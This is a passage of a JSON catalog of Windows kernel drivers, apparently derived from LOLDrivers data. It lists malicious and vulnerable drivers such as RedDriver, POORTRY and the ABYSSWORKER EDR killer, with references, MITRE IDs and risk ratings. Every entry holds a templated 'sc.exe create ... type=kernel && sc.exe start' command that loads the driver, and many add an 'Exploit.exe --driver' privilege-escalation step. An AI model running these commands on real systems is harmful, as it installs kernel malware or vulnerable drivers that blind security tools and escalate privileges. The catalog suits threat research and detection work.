    "description": "Cisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custo...",
    "execution": {
      "template": "sc.exe create 5a4fe297c7d42539303137b6d75b150d.sys binPath=C:\\windows\\temp\\5a4fe297c7d42539303137b6d75b150d.sys type=kernel && sc.exe start 5a4fe297c7d42539303137b6d75b150d.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-5a4fe297c7d42539303137b6d75b150d",
    "install": [
      {
        "method": "custom",
        "description": "Load 5a4fe297c7d42539303137b6d75b150d.sys kernel driver",
        "commands": [
          "sc.exe create 5a4fe297c7d42539303137b6d75b150d.sys binPath=C:\\windows\\temp\\5a4fe297c7d42539303137b6d75b150d.sys type=kernel && sc.exe start 5a4fe297c7d42539303137b6d75b150d.sys"
        ]
      }
    ],
    "name": "5a4fe297c7d42539303137b6d75b150d.sys",
    "namespace": "windows:kernel:5a4fe297c7d42539303137b6d75b150d",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.talosintelligence.com/undocumented-reddriver/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create 6771b13a53b9c7449d4891e427735ea2.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\6771b13a53b9c7449d4891e427735ea2.sys type=kernel && sc.exe start 6771b13a53b9c7449d4891e427735ea2.sys\"\n\n# 6771b13a53b9c7449d4891e427735ea2.sys\n\nCisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custom implementation of ReflectiveLoader. The authors of RedDriver appear to be skilled in driver development and have deep knowledge of the Windows operating system. This threat appears to target native Chinese speakers, as it searches for Chinese language browsers to hijack. Additionally, the authors are likely Chinese speakers themselves.\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1014\n",
    "_source": "windows-kernel-6771b13a53b9c7449d4891e427735ea2.md",
    "author": "Alice Climent-Pommeret",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Cisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custo...",
    "execution": {
      "template": "sc.exe create 6771b13a53b9c7449d4891e427735ea2.sys binPath=C:\\windows\\temp\\6771b13a53b9c7449d4891e427735ea2.sys type=kernel && sc.exe start 6771b13a53b9c7449d4891e427735ea2.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-6771b13a53b9c7449d4891e427735ea2",
    "install": [
      {
        "method": "custom",
        "description": "Load 6771b13a53b9c7449d4891e427735ea2.sys kernel driver",
        "commands": [
          "sc.exe create 6771b13a53b9c7449d4891e427735ea2.sys binPath=C:\\windows\\temp\\6771b13a53b9c7449d4891e427735ea2.sys type=kernel && sc.exe start 6771b13a53b9c7449d4891e427735ea2.sys"
        ]
      }
    ],
    "name": "6771b13a53b9c7449d4891e427735ea2.sys",
    "namespace": "windows:kernel:6771b13a53b9c7449d4891e427735ea2",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.talosintelligence.com/undocumented-reddriver/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create 6c8a binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\6c8a.sys type=kernel && sc.exe start 6c8a\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver 6c8a.sys\"\n\n# 6c8a.sys\n\n6c8a.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-6c8a.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "6c8a.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create 6c8a binPath=C:\\windows\\temp\\6c8a.sys type=kernel && sc.exe start 6c8a",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-6c8a",
    "install": [
      {
        "method": "custom",
        "description": "Load 6c8a.sys kernel driver",
        "commands": [
          "sc.exe create 6c8a binPath=C:\\windows\\temp\\6c8a.sys type=kernel && sc.exe start 6c8a"
        ]
      }
    ],
    "name": "6c8a.sys",
    "namespace": "windows:kernel:6c8a",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create 7.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\7.sys type=kernel && sc.exe start 7.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver 7.sys\"\n\n# 7.sys\n\nDriver categorized as POORTRY by Mandiant.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-7.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver categorized as POORTRY by Mandiant.",
    "execution": {
      "template": "sc.exe create 7.sys binPath=C:\\windows\\temp\\7.sys type=kernel && sc.exe start 7.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-7",
    "install": [
      {
        "method": "custom",
        "description": "Load 7.sys kernel driver",
        "commands": [
          "sc.exe create 7.sys binPath=C:\\windows\\temp\\7.sys type=kernel && sc.exe start 7.sys"
        ]
      }
    ],
    "name": "7.sys",
    "namespace": "windows:kernel:7",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create 80.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\80.sys type=kernel && sc.exe start 80.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver 80.sys\"\n\n# 80.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-80.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create 80.sys binPath=C:\\windows\\temp\\80.sys type=kernel && sc.exe start 80.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-80",
    "install": [
      {
        "method": "custom",
        "description": "Load 80.sys kernel driver",
        "commands": [
          "sc.exe create 80.sys binPath=C:\\windows\\temp\\80.sys type=kernel && sc.exe start 80.sys"
        ]
      }
    ],
    "name": "80.sys",
    "namespace": "windows:kernel:80",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create 81.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\81.sys type=kernel && sc.exe start 81.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver 81.sys\"\n\n# 81.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-81.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create 81.sys binPath=C:\\windows\\temp\\81.sys type=kernel && sc.exe start 81.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-81",
    "install": [
      {
        "method": "custom",
        "description": "Load 81.sys kernel driver",
        "commands": [
          "sc.exe create 81.sys binPath=C:\\windows\\temp\\81.sys type=kernel && sc.exe start 81.sys"
        ]
      }
    ],
    "name": "81.sys",
    "namespace": "windows:kernel:81",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create 834761775.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\834761775.sys type=kernel && sc.exe start 834761775.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver 834761775.sys\"\n\n# 834761775.sys\n\nCisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021.\nRedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies.\nCode from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custom implementation of ReflectiveLoader.\nThe authors of RedDriver appear to be skilled in driver development and have deep knowledge of the Windows operating system.\nThis threat appears to target native Chinese speakers, as it searches for Chinese language browsers to hijack. Additionally, the authors are likely Chinese speakers themselves.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-834761775.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Cisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custo...",
    "execution": {
      "template": "sc.exe create 834761775.sys binPath=C:\\windows\\temp\\834761775.sys type=kernel && sc.exe start 834761775.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-834761775",
    "install": [
      {
        "method": "custom",
        "description": "Load 834761775.sys kernel driver",
        "commands": [
          "sc.exe create 834761775.sys binPath=C:\\windows\\temp\\834761775.sys type=kernel && sc.exe start 834761775.sys"
        ]
      }
    ],
    "name": "834761775.sys",
    "namespace": "windows:kernel:834761775",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.talosintelligence.com/undocumented-reddriver/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create 8492937_2_Driver.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\8492937_2_Driver.sys type=kernel && sc.exe start 8492937_2_Driver.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver 8492937_2_Driver.sys\"\n\n# 8492937_2_Driver.sys\n\nABYSSWORKER is a malicious driver used in MEDUSA ransomware attacks to disable EDR systems. The driver masquerades as a legitimate CrowdStrike Falcon driver and provides extensive capabilities to terminate processes, remove security callbacks, manipulate files, and disable security tools. It uses stolen certificates from Chinese companies and requires a specific password for activation. The driver was observed being deployed alongside HEARTCRYPT-packed loaders and provides attackers with kernel-level capabilities to blind EDR products by removing notification callbacks, detaching mini-filter devices, and replacing driver major functions.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-8492937-2-driver.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "ABYSSWORKER is a malicious driver used in MEDUSA ransomware attacks to disable EDR systems. The driver masquerades as a legitimate CrowdStrike Falcon driver and provides extensive capabilities to terminate processes, remove security callbacks, manipulate files, and disable security tools. It uses stolen certificates from Chinese companies and requires a specific password for activation. The driver was observed being deployed alongside HEARTCRYPT-packed loaders and provides attackers with kern...",
    "execution": {
      "template": "sc.exe create 8492937_2_Driver.sys binPath=C:\\windows\\temp\\8492937_2_Driver.sys type=kernel && sc.exe start 8492937_2_Driver.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-8492937-2-driver",
    "install": [
      {
        "method": "custom",
        "description": "Load 8492937_2_Driver.sys kernel driver",
        "commands": [
          "sc.exe create 8492937_2_Driver.sys binPath=C:\\windows\\temp\\8492937_2_Driver.sys type=kernel && sc.exe start 8492937_2_Driver.sys"
        ]
      }
    ],
    "name": "8492937_2_Driver.sys",
    "namespace": "windows:kernel:8492937-2-driver",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.elastic.co/security-labs/abyssworker"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create 927e3aef03a8355d236230cace376b3023480a40c5ac08453c07dab343dd1f11 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\927e3aef03a8355d236230cace376b3023480a40c5ac08453c07dab343dd1f11 type=kernel && sc.exe start 927e3aef03a8355d236230cace376b3023480a40c5ac08453c07dab343dd1f11\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver 927e3aef03a8355d236230cace376b3023480a40c5ac08453c07dab343dd1f11\"\n\n# 927e3aef03a8355d236230cace376b3023480a40c5ac08453c07dab343dd1f11\n\nAccording to Sophos X-Ops\n(Aug 06, 2025), a widely shared EDR-killer toolkit drops/loads a malicious\nkernel driver signed with compromised or revoked certificates to disable\nendpoint protections. Variants target many vendors, and are commonly\nHeartCrypt-packed and used by ransomware groups (e.g., RansomHub, INC).\nThe payload uses hard-coded driver names (e.g., mraml.sys, noedt.sys) and\nkills security services/processes.\n\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-927e3aef03a8355d236230cace376b3023480a40c5ac08453c07dab343dd1f11.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "According to Sophos X-Ops (Aug 06, 2025), a widely shared EDR-killer toolkit drops/loads a malicious kernel driver signed with compromised or revoked certificates to disable endpoint protections. Variants target many vendors, and are commonly HeartCrypt-packed and used by ransomware groups (e.g., RansomHub, INC). The payload uses hard-coded driver names (e.g., mraml.sys, noedt.sys) and kills security services/processes. ",
    "execution": {
      "template": "sc.exe create 927e3aef03a8355d236230cace376b3023480a40c5ac08453c07dab343dd1f11 binPath=C:\\windows\\temp\\927e3aef03a8355d236230cace376b3023480a40c5ac08453c07dab343dd1f11 type=kernel && sc.exe start 927e3aef03a8355d236230cace376b3023480a40c5ac08453c07dab343dd1f11",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "compression",
      "encryption",
      "file-system",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-927e3aef03a8355d236230cace376b3023480a40c5ac08453c07dab343dd1f11",
    "install": [
      {
        "method": "custom",
        "description": "Load 927e3aef03a8355d236230cace376b3023480a40c5ac08453c07dab343dd1f11 kernel driver",
        "commands": [
          "sc.exe create 927e3aef03a8355d236230cace376b3023480a40c5ac08453c07dab343dd1f11 binPath=C:\\windows\\temp\\927e3aef03a8355d236230cace376b3023480a40c5ac08453c07dab343dd1f11 type=kernel && sc.exe start 927e3aef03a8355d236230cace376b3023480a40c5ac08453c07dab343dd1f11"
        ]
      }
    ],
    "name": "927e3aef03a8355d236230cace376b3023480a40c5ac08453c07dab343dd1f11",
    "namespace": "windows:kernel:927e3aef03a8355d236230cace376b3023480a40c5ac08453c07dab343dd1f11",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2025/08/06/shared-secret-edr-killer-in-the-kill-chain/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create a236e7d654cd932b7d11cb604629a2d0.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\a236e7d654cd932b7d11cb604629a2d0.sys type=kernel && sc.exe start a236e7d654cd932b7d11cb604629a2d0.sys\"\n\n# a236e7d654cd932b7d11cb604629a2d0.sys\n\nCisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custom implementation of ReflectiveLoader. The authors of RedDriver appear to be skilled in driver development and have deep knowledge of the Windows operating system. This threat appears to target native Chinese speakers, as it searches for Chinese language browsers to hijack. Additionally, the authors are likely Chinese speakers themselves.\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1014\n",
    "_source": "windows-kernel-a236e7d654cd932b7d11cb604629a2d0.md",
    "author": "Alice Climent-Pommeret",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Cisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custo...",
    "execution": {
      "template": "sc.exe create a236e7d654cd932b7d11cb604629a2d0.sys binPath=C:\\windows\\temp\\a236e7d654cd932b7d11cb604629a2d0.sys type=kernel && sc.exe start a236e7d654cd932b7d11cb604629a2d0.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-a236e7d654cd932b7d11cb604629a2d0",
    "install": [
      {
        "method": "custom",
        "description": "Load a236e7d654cd932b7d11cb604629a2d0.sys kernel driver",
        "commands": [
          "sc.exe create a236e7d654cd932b7d11cb604629a2d0.sys binPath=C:\\windows\\temp\\a236e7d654cd932b7d11cb604629a2d0.sys type=kernel && sc.exe start a236e7d654cd932b7d11cb604629a2d0.sys"
        ]
      }
    ],
    "name": "a236e7d654cd932b7d11cb604629a2d0.sys",
    "namespace": "windows:kernel:a236e7d654cd932b7d11cb604629a2d0",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.talosintelligence.com/undocumented-reddriver/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create a26363e7b02b13f2b8d697abb90cd5c3.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\a26363e7b02b13f2b8d697abb90cd5c3.sys type=kernel && sc.exe start a26363e7b02b13f2b8d697abb90cd5c3.sys\"\n\n# a26363e7b02b13f2b8d697abb90cd5c3.sys\n\nCisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custom implementation of ReflectiveLoader. The authors of RedDriver appear to be skilled in driver development and have deep knowledge of the Windows operating system. This threat appears to target native Chinese speakers, as it searches for Chinese language browsers to hijack. Additionally, the authors are likely Chinese speakers themselves.\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1014\n",
    "_source": "windows-kernel-a26363e7b02b13f2b8d697abb90cd5c3.md",
    "author": "Alice Climent-Pommeret",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Cisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custo...",
    "execution": {
      "template": "sc.exe create a26363e7b02b13f2b8d697abb90cd5c3.sys binPath=C:\\windows\\temp\\a26363e7b02b13f2b8d697abb90cd5c3.sys type=kernel && sc.exe start a26363e7b02b13f2b8d697abb90cd5c3.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-a26363e7b02b13f2b8d697abb90cd5c3",
    "install": [
      {
        "method": "custom",
        "description": "Load a26363e7b02b13f2b8d697abb90cd5c3.sys kernel driver",
        "commands": [
          "sc.exe create a26363e7b02b13f2b8d697abb90cd5c3.sys binPath=C:\\windows\\temp\\a26363e7b02b13f2b8d697abb90cd5c3.sys type=kernel && sc.exe start a26363e7b02b13f2b8d697abb90cd5c3.sys"
        ]
      }
    ],
    "name": "a26363e7b02b13f2b8d697abb90cd5c3.sys",
    "namespace": "windows:kernel:a26363e7b02b13f2b8d697abb90cd5c3",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.talosintelligence.com/undocumented-reddriver/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create a9df5964635ef8bd567ae487c3d214c4.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\a9df5964635ef8bd567ae487c3d214c4.sys type=kernel && sc.exe start a9df5964635ef8bd567ae487c3d214c4.sys\"\n\n# a9df5964635ef8bd567ae487c3d214c4.sys\n\nCisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custom implementation of ReflectiveLoader. The authors of RedDriver appear to be skilled in driver development and have deep knowledge of the Windows operating system. This threat appears to target native Chinese speakers, as it searches for Chinese language browsers to hijack. Additionally, the authors are likely Chinese speakers themselves.\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1014\n",
    "_source": "windows-kernel-a9df5964635ef8bd567ae487c3d214c4.md",
    "author": "Alice Climent-Pommeret",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Cisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custo...",
    "execution": {
      "template": "sc.exe create a9df5964635ef8bd567ae487c3d214c4.sys binPath=C:\\windows\\temp\\a9df5964635ef8bd567ae487c3d214c4.sys type=kernel && sc.exe start a9df5964635ef8bd567ae487c3d214c4.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-a9df5964635ef8bd567ae487c3d214c4",
    "install": [
      {
        "method": "custom",
        "description": "Load a9df5964635ef8bd567ae487c3d214c4.sys kernel driver",
        "commands": [
          "sc.exe create a9df5964635ef8bd567ae487c3d214c4.sys binPath=C:\\windows\\temp\\a9df5964635ef8bd567ae487c3d214c4.sys type=kernel && sc.exe start a9df5964635ef8bd567ae487c3d214c4.sys"
        ]
      }
    ],
    "name": "a9df5964635ef8bd567ae487c3d214c4.sys",
    "namespace": "windows:kernel:a9df5964635ef8bd567ae487c3d214c4",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.talosintelligence.com/undocumented-reddriver/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create AccelLid.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\AccelLid.sys type=kernel && sc.exe start AccelLid.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver AccelLid.sys\"\n\n# AccelLid.sys\n\nNorthwave Cyber Security contributed this driver based on in-house research. The driver has a CVSSv3 score of 5.5, indicating a localdos impact. This vulnerability could potentially be exploited for privilege escalation or other malicious activities.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-accellid.md",
    "author": "Northwave Cyber Security",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Northwave Cyber Security contributed this driver based on in-house research. The driver has a CVSSv3 score of 5.5, indicating a localdos impact. This vulnerability could potentially be exploited for privilege escalation or other malicious activities.",
    "execution": {
      "template": "sc.exe create AccelLid.sys binPath=C:\\windows\\temp\\AccelLid.sys type=kernel && sc.exe start AccelLid.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-accellid",
    "install": [
      {
        "method": "custom",
        "description": "Load AccelLid.sys kernel driver",
        "commands": [
          "sc.exe create AccelLid.sys binPath=C:\\windows\\temp\\AccelLid.sys type=kernel && sc.exe start AccelLid.sys"
        ]
      }
    ],
    "name": "AccelLid.sys",
    "namespace": "windows:kernel:accellid",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ACE-BASE.sys binPath=C:\\\\windows\\\\temp\\\\ACE-BASE.sys type=kernel && sc.exe start ACE-BASE.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ACE-BASE.sys\"\n\n# ACE-BASE.sys\n\nAllows privilege escalation from regular user to System or PPL\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-ace-base.md",
    "author": "Defence Tech security",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Allows privilege escalation from regular user to System or PPL",
    "execution": {
